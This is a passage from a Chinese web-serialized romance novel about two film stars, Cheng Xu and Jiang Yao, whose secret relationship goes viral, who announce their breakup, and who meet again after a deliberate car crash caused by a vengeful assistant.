杨越努了努嘴，示意他自己仔细瞧清，“不是已经写上面了。”
周颂懒得跟他插科打诨，抄起手机就往程绪卧室奔，“少来这套，我自己问他去。”
杨越赶忙跟着起身，拉住他的胳膊无奈道：“别，他还在吊水呢。”
周颂脸色“唰”地变了，一把挣脱杨越的钳制，急匆匆往前走了两步，
杨越不自觉扬高声音，“江小姐，”意识到音量有点过高，他清了清嗓子，继续说道，“的事，暂时先别问。”周颂点头答应，又慢下步子，轻手轻脚去推门。
人声、脚步声，吵吵嚷嚷的，又似乎始终隔着一层膜，他能听清外面的动静，却怎么也发不出声音。程绪努力睁开眼皮，想起身，却发现自己的手上连着针。他呆呆地看着床边挂着的点滴瓶，不知道是谁叫了医生。也许是休假的刘阿姨，提前回来了罢。
“江小姐……”
有什么称呼隔着房门，精准传到他耳中。病恹恹的心脏，突然开始用力跳动。程绪往上挪了挪身子，听着轻轻的脚步声，越走越近……
江小姐，还能是谁呢。是她回来了么？还是知道他病了？
他努力活动了下脸上的表情，躺了太久，连笑都不知道该怎么调动肌肉。他扯了扯嘴角，舔了下干涩的嘴唇，想笑，又停下动作。或许，病弱的自己，才有资格得到她的垂青。
推门的声响很小，只要凝神静听，还是有微弱的动静传入耳中。清冷的眸子露出无害的表情，程绪又将身子挪了下去，脸朝着门的方向，看着它一点点打开，看着门外的光慢慢照进来，看着那双担忧的眼睛，全身心望向他的方向。
清亮的瞳仁微微睁大，多么像她。却不是她。
光亮照到的地方，连梦都是奢望。
程绪垂下眼睫，复又扬起，嘴边的笑容也跟着挂上，“你们怎么来了？”
周颂想说你怎么生病也不告诉我，但对着程绪的神情，又
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奇怪地察觉到一点不对劲。他说不清，刚才进门时，他眼里一闪而过的表情，是不是叫做脆弱。可是，明明是那么强大的人。也许就像自家母上所说的，在病中，都需要有人陪着才行。
他立马心疼得不行，拉着程绪的手问：“还有没有哪里不舒服？不舒服记得跟我说。”
程绪推开他的手，“就是小感冒，已经好多了。”周颂还是不放心地左右看着，嘴里絮絮叨叨的。跟在后面的杨越被他激得起了一身鸡皮疙瘩，正想让他悠着点儿，兜里的手机又开始疯狂震动。
杨越瞥了程绪一眼，点开接听，电话中，是秦时暴躁的声音，“去给我把他摇醒。”
他不动声色地又朝床边投去一眼，捂着听筒退出房间，“怎么了？”
周颂目光闪了闪，又拉着程绪继续盘问。程绪把他们的表情尽收眼底，单手撑着床坐起身子，问他，“怎么了？”
周颂心内本就好奇的不行，听他这么问，也忘了答应杨越的事情，直接拿起手机点进微博，找到新闻放到他眼前，让他自己看。他眼睛一错不错地盯着程绪，生怕错过一丝表情。
程绪一眼扫完，像是在围观旁人的新闻。昏黄的日光投射在窗台，他在光影里，沉默着没有出声。
难道真的是自己会错意了？他也不像陪女孩瞎逛的人啊。周颂挠了挠头发，讪讪地收回手机。手指按在屏幕上，手机自动刷新，屏幕中，又更新了一则消息。
昏黄的光线下，一对男女相对而立，柔和的灯光从侧面洒下，投射在女生弯弯的眼睛上，晶莹透亮。男生拉着女生的手，正低头悄声说着些什么，认真而专注。旁人听不见他们的声音，却不难品味出其间的甜蜜无声。
微博彻底爆了。
「我艹……」
「如果这都是假的，那你告诉我什么是真的。」
「有没有人能告诉我，这两人到底是不是他们？」
周颂呆怔着，看着讨论区一下子涌来无数人。再刷新，微博直接卡得不能动。他一字字理解着屏幕上的文字，愣愣地抬头向一旁的人求证：“我有嫂嫂了？”
程绪顺着他的手看过去，照片中的两人，熟悉而陌生。他还记得和她一起尝过的蛋糕，一起看过的灯火，以及烟火声声下，默默许下的愿望。过往的场景一幕幕在眼前轮播，那些微小而具体的幸福，在无数个睡不着的夜里，被他拉出来细细拼凑。现在，又猝不及防地，再一次击中他了。他克制着不自觉的僵硬，笑着点头应，“嗯，下次再带你认识。”
“好吧……”周颂莫名有点失落，嘟着嘴对手指，无暇再去细看他的表情。
两人各怀心事，周颂也难得没有再出声，杨越推开门，就见他们各自沉默的情景，安静的空间里，只余秦时疯狂输出的声音，他举着手机递过去，悄声比口型：“秦总。”
程绪接过电话，淡声道：“是我。”杨越拉着周颂起身，贴心地带上房门。
秦时也不跟他绕弯，直接上来就讲：“保不准他们手上还有别的照片，你想清楚该怎么圆。”程绪混圈多年，持续积累的口碑，有时候，崩塌也就只是一瞬间。
101. 重归朋友
Susie也是这么跟江遥说的。
最开始知道江遥的男友就是程绪时，她不可谓不震惊，碰上这样的人，本就轮不到她来做决定。说不定，两人早已达成某种约定。她将决定权抛给艺人，江遥给出的答案是，假的。
她翻看着对方给出的几种解决方案，告诉江遥：“那边的人之前联系过我们，问要不要直接公开。”但她们这边手快一步，直接进行了辟谣的操作。现在，主动权又掌握在她们手中。
公开？江遥听着电话里鼠标点击的轻响，如果时间倒回去一个月前，不知道自己会怎么选。但一个谎撒下，就需要更多的谎言来圆，她不想把自己弄得那么累。
事实就是，现在他们已经分开了。
电话里一直安静，Susie瞥了眼手机，还在通话中。她压低声音问：“你怎么想的？我这里有几种处理方式，你要不看看再决定。”
“我们已经分手了。”江遥说。话已经在嘴里提前滚过一轮，说起来的时候比想象中要轻松。
她声音轻柔，Susie一个没刹住，顺势接口：“分手了好……”一个“啊”字被她及时叫停，她扬高声音问，“什么？”
“我说。”江遥加重声音，说完顿了顿，确保Susie的注意力已经转过来，才声音轻快地继续补充，“我们已经分手了。”
“什么时候的事？”Susie终于反应过来，语速很快地问：“你是不是害怕公开后出事？”问完她又直接否定了这个猜测。当初刚爆火江遥就想着公开过，她不该是这样的。
江遥直接忽略了后面一句，“不久前的事。”
听起来也不像是这两天的事情，为什么程绪那边的人仿佛毫不知情？不过话说回来，她和小鱼不也是被蒙在鼓中。乍然知道自己有了强大的同盟，还没来得及开心，又被通知同盟瓦解的决定。Susie往椅子上一靠，揉了揉额头，“你想怎么处理就怎么处理吧。”
消息爆出来已经快二十分钟，两位当事人还没有采取任何行动，网络上的风声越来越大。和第一次模糊的爆料不同，这次，所有门户网站和APP弹窗都在发送提醒，几乎每个群都在讨论，程绪和江遥疑似恋爱中。
“什么疑似，一看你的消息就还没更新。已经有大佬用同角度的照片对比过，就是他们本人。”
“就凭这气质和身材，娱乐圈哪还能找出一模一样的两个人。”
“但他们压根就不熟啊，怎么会在谈呢？”
群友们及时分享着最新八卦，一刷新就有新的线索被淹没。
“快看这个cut，原来《心动大冒险》里就在暗搓搓发糖。”
“啊啊啊那张照片你们有没有看到，一个素人分享的，好甜啊真的。”
“好男人果然都是别人的……”
娱乐圈已经许久没有这么热闹的场景，就连不少圈内人也小心翼翼披着马甲在吃瓜一线轮流打转。刘灵泠后知后觉，“怪不得程老师愿意来我们综艺露脸，原来多亏了遥遥姐。”
徐婉宁不认同，“这不一定，说不定就是在那一见钟情。”
刘灵泠想想也是，“遥遥姐往那儿一站，哪还看得到别人呢。”
徐婉宁想找江遥八卦两声，可惜，现在看起来并不是什么好场景，“唉，不知道有没有机会约一起搓一顿。”
刘灵泠也跟着叹了口气，“唉，虽然程老师也不错，但……怎么就这么快呢。”
徐婉宁无奈地笑道：“等你做好心理准备得到猴年马月了，这个姐夫一点都不丢面儿好不好。”
单就颜值而论，就算再有敌意，也说不出两人不配的言论。从扒出来的线索看，两人感情也早已稳定，正在低调甜蜜的恋爱中。所以在最初的震惊过后，除了部分粉丝，很多人也开始慢慢说服自己接受，甚至顺便吸了一波CP粉。
「唉，两人都老大不小了，总比随便找个丑人来得好吧。」
「看起来程绪粉丝还是比较理智的，我还以为江遥会被骂死。」
「拜托不要乱扣锅，我看江遥粉丝也没有闲着。双方都有不理智的粉丝，大方向过得去就行了。」
「很多老粉都在祝福，估计内部已经通过气咯。」
在这样的环境里，零星夹着些吐槽江遥本人以及唾弃程绪眼光的人，在庞大的祝福声中，完全闹不出响声。
江遥看着网上的言论，和最初的预期相比，现在的评价可以说是堪比和风。但，事实的真相，总得阐明。她登上自己的账号，一字一句打下：已回归朋友身份。就连末尾的句号，也工工整整地坠在后面，就像是他们感情的最终注解。
这下，网上是彻底翻天了。
「什么什么？我刚嗑上就跟我说BE了？」
「是谁登了江老师的号，我不信，这一定不是她发的！」
「你不早说，害我刚刚还偷偷哭了一场呢，程影帝就该是大家的。」
「所以意思是真谈过，现在分手了？」
江遥的评论区热闹得堪比过年，偌大的房间里，却透着诡异的宁静。周颂缩了缩肩膀，也不敢去找程绪理论，说好的下次带他认识，敢情只是敷衍了事。杨越也在心里直呼好家伙，一边暗搓搓地回想，老板的不对劲，究竟是从什么时候开始的。怪不得突然虚弱得堪比娇花，原来还真经受了暴风雨的摧残。
他借着扶眼镜的动作，朝程绪那边看了眼。啧啧啧，瞧瞧这云淡风轻的样儿，就装吧，怪不得憋出内伤。
程绪仿佛丝毫没有意识到这莫名凝滞的气氛，自顾自捧着手机，看得认真，甚至还有闲暇转发了江遥的回应：听江老师的。
一个不带V的账号，却明晃晃顶着程绪的大名，关注列表，只有唯一的一个人。
吃瓜群众彻底宕机：……
这场堪比地震级的八卦，在当事人彻底公开的瞬间，就无可挽回地走向了凋零。公开即分手，不到一秒走完全流程。
「这是真分了？你们分手怎么能这么平和？」
「都成年人了分个手有什么大不了的，下一个说不定更好呢。」
真的没什么大不了的吗？为什么他像是在经历一场漫长的低烧，不致命，却拽着人一直往下沉。程绪关了手机，闭上眼睛，“出去的时候帮我带上房门。”
一个拒绝沟通的姿态。
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>「分手了她还是他唯一的关注，怎么说不是真爱呢。」
「你们成熟点好吗，一个圈子总会有交集，现在取关之后再合作怎么办？」
毕竟是演员，只要有心，表面功夫总能做到位。就算前一天背地里吃了不少瓜，第二天上戏，大家都当无事发生一样。
在夏天来临的时候，这部戏终于杀青。导演在附近包了个酒店，江遥吃到一半，有事先走。走道的廊柱后，飘来低低的交谈声。
“还不是程绪不要的女人，长得再漂亮有什么用。”
“谁知道是不是原装的，不知道天天装模作样给谁看。”
“嘘，小点声，不然倒霉的只会是我们这些螺丝钉。”
小鱼攥了攥拳头，才克制住想上前理论的心，江遥勾勾嘴角，快步出了门。
飞机落地A城，何为将江遥送回原来的公寓，替她打开车门，“明天我再来接您。”
江遥沉吟一瞬，“谢谢，不用了。”
何为抬眼看来，江遥直视着他的眼睛，他错开目光，听她说，“我会跟公司申请，另外派人。”
“江小姐……”他扶着车门，目送她的背影。
江遥停住脚步，笑道：“我没有别的意思，只是，你不应该浪费在我这儿。”
许久没回的小公寓，还保留着离开前的样子，小鱼提前找保洁打扫过，江遥随便收拾了两下，直接躺在床上不想动了。后来不知道什么时候睡了过去，醒来时，听到厨房传来乒乒乓乓的声响。
她惬意地眯了眯眼睛，踩着拖鞋出门。Susie和小鱼在厨房里忙碌，看到她，招呼着她先去坐。多好啊，像是曾未离开过一样。
几个月没出组，江遥颇有点与世隔绝的味儿。工作强度本身不小，加上她刻意隔开和外界的联系，有些事情，也只是偶尔听了一耳朵。餐桌上，Susie拣了几件和她有关的事儿说给她听。
比如说方琦的新剧前期宣传轰轰烈烈，甚至为了凸显自己的大女主形象，将江遥踩得灰头土脸，谁知道最后却扑了个血本无归。就这样，粉丝和营销号话术中还在试图甩锅卖惨，“不知道是挡了谁的道了，这么害我家姐姐。”轻音娱乐这次一反常态，直接出了声明打脸。
“而且张导的老婆也不是吃素的，现在她走哪儿都有人骂呢。”小鱼夹了一口菜，补充道。
“朱富春呢？”江遥问。
Susie冷笑，“他现在自身难保了，哪还有空管外面的女人。”天知道她在小鱼口中听到方琦和朱富春他们干的好事时，有多后怕。好歹曾经共事过，何至于这么下死手。“听说他不知道得罪了哪路大神，看好的项目一个个黄，现在谁也不敢帮他。”
小鱼咂咂嘴，“老天有眼。”
“阿嚏——”
“阿嚏——”
电话里，程绪接连打了几个喷嚏，听得许婉清眉头微微蹙起，温声提醒，“现在早晚还是有点冷，你出门记得多穿衣。”
“嗯。”程绪无可无不可地应，连客气的称呼也直接省略了过去。
许婉清眼泪一下子来到眼眶，看得程元峰眉头皱了又皱，轻握住她的手。
102. 尾随
许婉清侧着身子往旁挪了挪，避开程元峰的手，汪着泪珠叮嘱，“阿绪，多保重你自己。”
她的声音本就柔和，此刻强忍泪意，听起来更让人不忍。程绪却仿佛毫无察觉般，淡淡应了声。
程元峰“噌”一下站起来，来回踱着步子，恨声道：“我看他能耐得很。”
许婉清握着手机的手紧了紧，轻声叮咛：“不要去硬碰硬，有事儿跟妈妈说，好吗？”
她语气里带着不自知的哽咽，程绪到底安抚道，“我知道分寸。”
程元峰一听就炸了，“你知道什么分寸，非要去碰什么朱富春，当初钱家那个，也是你的手笔吧？”小小年纪，就下手毫不留情，现在羽翼丰满，做事更是极端。程氏交给这样的人，让他怎么放心。
程绪沉默地任他咆哮，程元峰一拳打在棉花上，反噎得自己不轻，他越说越激动，“非要去沾些浑不吝的角色，给自己惹上一身腥，这就是你所谓的爱情？分了也给不了你清醒？”
落地窗的玻璃映出长长一条人影，程绪看着镜子中的人，蓦地笑了，“谢谢提醒，您才是其中的大功臣。”
“被一个女人拿捏得死死的，我们程家的脸都被你丢尽了！也不知道跟谁学的！”孟棠进来时，正听到程元峰在吹胡子瞪眼睛，她站住脚步，示意一边的佣人不要出声。
许婉清现在听不得这种话，闻言又是一副要哭不哭的表情，程元峰立马弯腰去哄，“好了好了，我不说行了吧。”
他拿了手帕帮她擦掉未干的泪痕：“少为了这个不孝子伤身。”
孟棠“扑哧”笑出声，“我这表弟啊，可不就是像了您。”
两人一愣，见佣人引着孟棠过来，许婉清起身来迎，“棠棠，你怎么过来了。”
“刚好有工作在A城。”孟棠从包里摸出一张请帖递给许婉清，“我的订婚宴，想邀您和姨父到场见证。”
许婉清摸着封面上烫金的字体，一时思绪万千，好不容易平静的情绪又开始翻涌，许多话到嘴边，最后也只是拉着孟棠的手拍了拍，“都长大了。”
“是啊。”孟棠反握着许婉清的手，轻笑说，“程绪之前找我打听对婚礼的想法，我还以为他会在先呢。”
许婉清不着痕迹地朝一旁的程元峰递去一个眼神，程元峰重重叹息，“我只是给他把把关，娱乐圈的女人到底……”
许婉清重重咳了声，程元峰看着沙发上的孟棠，迟疑了一瞬，还是坚持自己的言论，“娱乐圈的环境太复杂了，咱们自家人这是知根知底，泥地里滚出来的人，谁又说得清。”
孟棠说：“现在大环境不同了，您应该相信程绪有基本的判断力。”
一说程绪，程元峰又忍不住恨恨，“他有个屁的判断力，赶尽杀绝，也不怕狗急跳墙。”
一向很是要面子的人，突然开始荤素不忌，孟棠拿起杯子喝了口水掩饰自己嘴角的笑意，“这不是还有您嘛。”
程元峰对她的马屁并不受用，孟棠又换了个方向，“放心，他知道轻重。就算他不在乎自己，肯定也会替人女孩考虑的。”
话落，房间里倏地一静。两人恋爱又分手的消息闹得轰轰烈烈，狗仔全面出动，也没再拍到他们任何一丝新闻。两人看起来是彻底断了个干净，几个月过去，想蹲后续的人也早已死心。为何，作为程绪最亲的人，却那么肯定，他们还会有再续前缘的可能？
也许，是规行矩步的棋子，突然又开始有了自己的意志。
他照常工作、照常生活，只是从此，再没踏进过家门。当程绪彻底冷下去，许婉清突然开始惊慌失措，两人维持在不远不近的距离，她会觉得安心，但一旦想到此后两人只能越来越陌生，一股恐慌突然自心底延伸。原来，她并不能接受彻底失去他的可能。
程元峰冷眼旁观着他近乎自毁的举动，偶尔会扪心自问，一个女人，是否值得他这么拼。答案已经在心底，只是他不愿意认。
气氛太沉重，许婉清拾起情绪，问孟棠，“这次过来待多久，要不陪我住几天？”
孟棠笑着摆手，“不了，我明天就得走，下次有机会一定好好陪陪姨母。”
孟棠没想到会在这里碰到江遥。同处娱乐圈，两人也只寥寥见过数面，她向来知道，她的容颜之盛，此时细细打量，才知道何谓霞光乱人眼。被这样的女人绊倒，程绪也着实不亏。
江遥正被工作人员簇拥着往前走，迎上孟棠的视线，礼貌地停下来打招呼，“孟棠姐。”
孟棠嘴角带笑，看起来心情极好。江遥当然不知道，那是一种看着自家大白菜的与有荣焉。只见她伸手从包里掏出一张烫金的请帖，往她怀里一塞，“有空记得来。”
江遥自然是没空去的。《春声》即将上线，她作为女主角，接下来的行程全部都得听安排。听说，孟棠的订婚宴办得很轰动，B市的名流为一张请帖私下各种比拼，奈何宋家只邀请了特定的几家人。听说，程绪也曾在现场现身。
她翻出抽屉里的请帖，翻开烫金的封面，新人的名字整齐排列，喜庆的气息扑面而来。差一点，她也可以光明正大地叫出那声“姐”。
她还记得，那天的走廊上，孟棠耀目的笑颜，她笑着说恭喜，孟棠轻声答，“你也会的。”
不知道是自己眼里的错愕太明显，还是孟棠当下缺一个说话的人，她就那么站在过道中，笑着告诉她说，“跟着自己的心走，总不会太错。”
心吗？江遥躺在床上，听着胸腔中平静的心跳声，渐渐沉入梦中。
电影的首映礼定在A城，冲着陈清让的面子，集齐了圈内众多名人。江遥站在台上，眼光无意识在台下逡巡，高婧媛关了话筒，凑近她低声笑问，“是不是有点无聊。”
江遥笑笑，一场电影看了N遍，再引人入胜，也提不起更多的情绪波动。大家的注意力都被主持人调动，她放任自己，站在角落中放空。多么熟悉的场景，只是没了熟悉的人。
首映礼后的晚宴，气氛正是热烈，知道江遥生日刚过去不久，高婧媛端着酒杯，似模似样地非要亲口跟她补上一句生日祝福，旁边的人听到也纷纷加入。江遥应付着他们的热情，忍不住多喝了几杯。
许久没有这么放纵，她找了个
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借口，逃开喧嚣的人群，倚在角落中闭目眼神。
侍应生贴心地奉上甜品，江遥笑着道谢，放松身子，小口小口地挖着蛋糕。
蹙着的眉头舒展开来，嘴角笑意浅浅，男人移开目光，虚心接受陈清让的数落，“是我失约。”
陈清让见他这模样，责怪的话也说不出了，只心疼道：“你就露个面而已，谁敢乱说什么？”
直到分手，他才后知后觉，原来程绪背着他偷偷谈了场恋爱，对象还是他电影的新任女主。不过既然都已和平分手，他也不好多说什么，但开拍时就答应的首映礼，这小子也不肯再出席。
这么大两个人，同在一个圈子，难不成还能做到老死不相见？他可不知道，他还有这么天真的一面。
程绪太清楚八卦媒体的底线到底在哪儿，“这样就很好，电影的首映礼，您总不想被我的花边新闻填满，这样对剧组对演员都不尊重。”
就是考虑到这点，陈清让才没有坚持再劝，只在私下里，一定要拉着他喝一杯。程绪哪还好拒绝。
对面楼下办着热闹的Party，肆意的笑闹声隔着玻璃，传不到他这里。他给陈清让倒上酒，“恭喜。”
陈清让笑呵呵的，“还有的走呢。”他端起杯子抿了口，“说真的，什么时候留个档期给我。”
程绪笑笑，撇开头。对面院中的角落，一个男人不知何时出现在女人的身侧。
罗非凡错过了集体祝寿的场面，这时急匆匆赶来，非要补上自己的份儿，“怎么能免呢，显得我多不合群啊。”江遥无奈，随他发挥。没想到几个月没见，罗非凡的嘴也修炼成精了，一口气说得不带停，江遥忙笑着叫停，“我何德何能。”
两人言笑晏晏着，隔着那么远的距离，清晰地落在程绪眼底。
电影中，他们是故事的男女主角，戏外，同样年轻而光鲜。
「春花和孙楷多配啊。」
「要是在一起我一定嗑。」
之前刷到的信息，突然又浮现在脑海里。看过电影的观众说，戏外的轻松也能稍稍弥补故事里的落寞。
“听到没有？”陈清让见程绪一直不张口，粗着嗓子装起凶神恶煞的样儿。甫一抬头，就见他嘴角的笑意倏然落了下去。
好像表演力度有点过。陈清让呐呐着，还没想好怎么继续说，程绪突然拉开椅子，冲他微微点了点头，起身往外走。“抱歉，我想起来还有事。”
“你还没有答应我呢！”陈清让冲着他的背影喊道。
又一次铩羽而归。看来自己还是表现得太急了。这不，吓得程绪连头都不回。他端起桌上的酒喝了口，深深感知到两厢情愿是多么难得。他的角色，放出去不知道多少人抢着想要，偏偏就这个人，一直是这么个死表情，而他，偏惦记得不行。
程绪也不知道为什么，明明这么久没见，一点风吹草动，还是能让他大乱分寸。看他们并肩往外走，他就彻底克制不住。
等他跟出去时，刚才的男人已经彻底没了踪影，小鱼搂着她上了保姆车。
他吩咐司机，“跟上前面的车。”
103. 车祸
天色已经完全暗了下来，街道上，满是穿梭的红眼兽。
拐过一个路口，车流慢慢少了许多，司机看着后视镜中那辆不远不近跟着的车，正想跟小鱼汇报，小鱼却翻开日程本，跟江遥对起接下来的行程。
“明天的杂志拍摄和罗非凡高靖媛一起，我们八点来接你。”
江遥眯着眼睛“嗯”了声，本来昨晚就没睡几个小时，加上刚才又喝了点酒，她现在正困得不行。司机见她这模样，到嘴的话又咽了下去，只提醒自己，更加集中起精神。
意外是在眨眼间发生的。
江遥话音刚落，就听到司机猛然抬高的一声“小心”，下一瞬，身子被狠狠甩了出去。
为避免暴露行踪，老王一直小心控制着和前车的距离，即将到达目的地，后排的人一直不出声，他只好再次放慢车速，悠悠缀在车身后。
“砰”的一声巨响，前方车子一个急停。老王愣了愣神，不由自主去看程绪的表情。
他不知道该怎么形容，那是一双多么空茫的眼睛。仿佛所有的情绪都抽离了开去，茫茫天地，只剩他不知何去何从。
不过一瞬，麻痹的四肢恢复反应，程绪解开安全带，跌跌撞撞地往外冲。他的头脑一片空白，只剩下双腿无意识地往前迈。不远的距离，却似隔着天堑，难以逾越。
看清现场情况的瞬间，双腿一软，差点直接跪到了地面。
老王眼疾手快地扶住他的身子。还好，只是一场虚惊。他颇有眼色地退了开去，走向那辆失控的车。
一脚急刹，江遥被狠狠甩了出去，又被安全带拽着身子拉了回来。惊魂甫定，瞥见车窗外的人影，她瞬间不确定自己是否还清醒。脑海中的人，怎会如此活生生地立在一旁，那双清冷的眸子，一瞬不瞬地望着她。
几个月没见，他的头发似乎比上次长了点，手指掐着掌心，眼眶里带着红。她偏头想要看清楚，脖子突然被一把搂住，小鱼拖着哭音问，“没事吧姐？”江遥回身在她身上安抚地拍了拍，示意自己还好。
车窗上传来急促的敲击声，江遥抿着唇，默默放下车窗。
“你怎么样？有没有哪里不舒服？”程绪探头打量着她的神色，急急问道。
江遥望着他的眼睛，微微摇了摇头。
司机瞥了眼一旁站着的男人，悄声道：“我下去看看。”小鱼也坐直身子，观察着江遥的反应，片刻，跟着下了车。
车门隔开两个世界，他们踞守着两端，互相遥望。程绪的声音越发轻柔，“头晕吗？我送你去医院看看？”江遥闻言还是摇头。
“说话。”他的声音里染上焦急，无奈地喊她，“遥遥。”
为什么表现得这么急切的样子？那说好的首映礼，又为什么不来呢？江遥动了动嘴唇，一股委屈莫名袭上心头，激得她鼻头发酸。她努力控制着声音里的颤抖，吐出的话听起来无比冷漠，“你怎么在这？”
程绪的话语突然停住，顿了顿，讪讪说，“有事经过。”
是怎样的大事，需要他半夜三更经过她家门口？江遥垂眸去看自己放在膝上的手，淡声说：“哦。”
他知道，她应当是没事的，只是，还是想亲自确认下罢了。
她一身宴会上的装扮，眼睫静静垂落，覆住那双清亮的眼，似乎连多看他一眼都不愿。
“李茜，你到底在发什么疯？”小鱼看清另外一辆车上的人，气得不行。本来还以为是车子意外失控，看清人的瞬间，还有什么不懂。还好，司机反应迅速，只有李茜的车子控制不住，冲上了路旁的树。
李茜从驾驶室爬出来，擦了擦嘴角的血迹，冷冷笑道：“呵，不给人生路，以后就要小心走夜路！”
她望向江遥的方向，轻叹，“可惜啊，老天不开眼，怎么不收了你们这种人呢。”
小鱼挡住她的视线，“能不能说人话，我们没空听你在这废话。”
李茜终于破功，扬高声音问：“琦琦姐被你们害得那么惨，你们怎么还能心安理得，好像什么都没发生过一样？”
小鱼无语，“方琦那种人自作自受，不怪别人就难受？我看她这还是轻的呢。”
“不准你这么说她！”李茜叫喊道。初入职场，方琦的善意，是她黑暗世界里的唯一一缕光。她眼泪忍不住流了满脸，“这么好的人，被你们一步步打压到现在，换谁还能心理平衡？”
小鱼听她一字一句数着方琦的优点，唯一的感受就是——震惊。她拍了拍手掌，眼里满是嘲讽，“太牛逼了你，敢情是还想着报恩。”说罢，她扬手往江遥的方向一指，“但明明当初救你的人，差点就要被你害死了！”
李茜掀了掀嘴角，像看着无知的孩童，“你以为你说什么我就信？”
小鱼望着她的眼里不自觉溢出怜悯，“本来Susie姐让我不要说的。”当初她进公司不久，就发现方琦和李茜早已结成牢固的同盟，也是后来才听说，李茜一直把方琦当成救命恩人。
但事实是怎样呢？“你男朋友主动把你送上投资人的床的，为什么明明知道那人没碰你，他还是铁了心要分手？因为看见你啊，就会让他提醒自己，他是多么卑劣，多么无药可救！”
“呵，你真以为是方琦救的你么？我可是听说，她当时一句话都没有，甚至急不可耐地自荐枕席了哦。”她晃了晃手机，“你要不要去找人问问，当初是谁拼着被灌酒，硬保下你的？”
“哦，也许你可以问问丽丽，这不是当初你们从我姐这儿挖过去的好助理么？”
李茜望着小鱼毫不心虚的脸色，忍不住回忆当初。时间已经过去太久，那时的细节早已模糊，醒来后的她，只记得自己完好无整的模样，以及方琦通红的眼眶。在她心中，方琦是替她受过，才从此踏上了不归路。
她抿唇没有再接话，心中的信念却开始忍不住动摇：如果一切都是假的，那这么多年，她跟着做的一切，又该怎么来赎？
当然，她也并不需要想清楚。司机直接报了警，李茜被呼啸而来的警车带走，小鱼他们也跟着过去做笔录，她将江遥推给程绪
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，“麻烦您了。”老王见势不妙，眼疾手快地跟上了他们的车。刚刚还热闹的马路上，瞬间只剩下程绪和江遥。
两人并排坐在车里，熟悉的雪松味道里，带着淡淡的酒意。不浓，却很少出现在他身上。江遥拧眉想，是不开心吗？
女人的眉头微微蹙起，看起来很是忍受不了和他坐在一起。程绪也是这时候才后知后觉地想起，他喝酒了。意识一松懈，微薄的酒意迫不及待争抢着对身体的主导权。程绪放弃抵抗，任它将自己席卷。
车子停在路边，车里坐着两个喝了酒的人。江遥喃喃，怎么办？要叫代驾吗？程绪皱着眉头，一脸不认同的模样。他身体坐得笔直，眼神却已经微微涣散了，江遥纠结了会儿，还是决定找熟人。
“乖遥遥。”程绪勾勾嘴角拍了拍她的手，仿佛很满意她的选择。
江遥抖了抖身上的鸡皮疙瘩，横着眼睛瞪他，“给我好好说话。”
好好说话是不可能的。她语调一高，他就似受惊的小鹿似的望着她，满眼委屈，让她忍不住反思自己是否说了什么重话。她忍不住想退回去找小鱼问问，到底是谁麻烦谁了？本来出事的地方离小区就不远了，让他送什么送啊，这不，这么大一个人，还得她来盯梢。
她仗着他酒意上头，恶狠狠地指了指他，“要是敢装醉你就死定了！”程绪见她笑盈盈的，也跟着扬嘴，看起来人畜无害的模样。
傻爆了。江遥一边吐槽，一边去找杨越的电话。
杨越的电话响了许久都没人接听，她转而拨给何为。
对面声音恭敬：“江小姐，请问有什么事？”
江遥咳了咳，飞快报上地址，“快来把他弄走。”
电话里默了默，她抬高声音，“我知道使唤不动你了，是不是还得他发号施令？”
何为呐呐道：“从跟您的那天起，我就只需听您的命令。”
江遥无意再听他的剖白，直接挂了电话，等何为来接。
也许是刚刚受了惊，这时有个人在身旁反倒让人觉得安心，忙忙碌碌中，心情慢慢被抚平。程绪也彻底放松神经，闭着眼睛靠在座椅上，冷硬的五官卸下防备，有温柔在其上流动。
喝醉了后，程绪的记忆是混乱的。梦中的场景不断变换，唯一不变的，是那梦中人。
江遥坐在一旁，见刚才还安睡的人突然拧起眉头，正轻声嘟哝着什么。他语速很快，额头上微微冒出汗珠，她侧身去听，才听清他嘴巴张合，说的是“遥遥你不要走”。
她攥了攥手指，坐直身子。窗外月华如洗，车中，有人彻底陷入自己编织的梦境。
她就那么望着窗外，听他一会儿说一声。从“遥遥，回家了”、“遥遥，为什么不回我信息”到“遥遥，生日快乐”，最后是“对不起，今年没有陪你”。
很奇怪，梦中低低的呓语，需要调动全部心神才能听得清，却不由自主钻入她脑中。
她不知道，梦境中的她，是否有答他的话。也不知道，清醒时的他，是否会期待她回答。
104. 婚礼
爱。相处这么久，他从未对她说过。所以她才能心安理得的，享受着他的在意和付出。殊不知，有些人的感情，就像冰层下堆积的柴火，你窥见的那一角，已经是经由全身力气的托举。
今年生日，她默默给自己做了一碗面条，当然，她做不出程绪那种整根不断的效果。今天晚上，高靖媛趁着酒意悄悄给她说，其实去年，她就在酒店见过程绪了。
江遥捏了捏他的手指，不知道这样一双手，是怎么在酒店的厨房里为她忙碌。有时候，她并不值得他为她那样做。
汪静静问起过他们分手的缘由，江遥沉默许久，最终并没有说出口。让她怎么告诉自己的朋友，她是如何准确无误地，踏上了当初苏远安走过的道路。
年少的他不肯背负她未知的星途，所以选择将感情结束，多年后的她，面对程绪沉甸甸的爱情和理想，也选择了拔腿就走。
说什么害怕深情被辜负，承担不起他的以后，不过是软弱的自己，为自己找的天衣无缝的借口。当初，她就是这么唾弃苏远安的。
他眉头微微蹙着，手指如有意识般地，反手握住她的手，跟她十指相扣。江遥挣了挣，没有挣脱。她靠着他的肩膀，计算着何为到底还要多久。
星星也睡着的时候，程绪被何为带走了，小鱼给她发了信息告知情况，江遥让她直接回了家。
躺到床上，她却怎么也睡不着。黑暗中，一句话在脑海里不断回响。
“遥遥，为什么不回我信息？”
还有为什么呢，不过是，她不想。
她一条条翻看他的留言，分开的日子里，他一直单方面维持着和她的联系，自说自话般，将自己通通丢给她。
江遥划拉着屏幕，吃到好吃的，见到好玩的，看到好的电影，他都忍不住给她分享，并认真附上自己的心得。他把自己武装成一本百科全书，需要的时候，翻阅就能有所收获。
当然，不是时刻这样的。
在睡不着的夜里，他也会给她发我好想你。在生日的零点，掐着时间祝她心想事成。
家里的花开了许多，他拍照给她说漂亮极了。床头丑丑的小狗，陪着他日复一日等待着什么。
有几天的消息是空白的，之后，又细心叮嘱她注意身体，并附言说，周颂想见嫂嫂了。
嫂嫂？江遥想到那个跳脱的人，甚至能脑补出他听到消息时的表情。她笑笑，继续翻阅程绪碎碎念般的心情。
最新的消息是他拍了孟棠订婚的现场，说，遥遥，想和你一起。
江遥放大照片，台上的孟棠挽着男人的手臂，嘴角勾着浅淡笑意，远不及那天她看到的万一。男人姿态疏懒，似是误入他人的喜庆现场。
每个人都囿于自己的天地，江遥不知道孟棠是否已经掌握了幸福的秘密。但显然，她已准备好乘风而上。
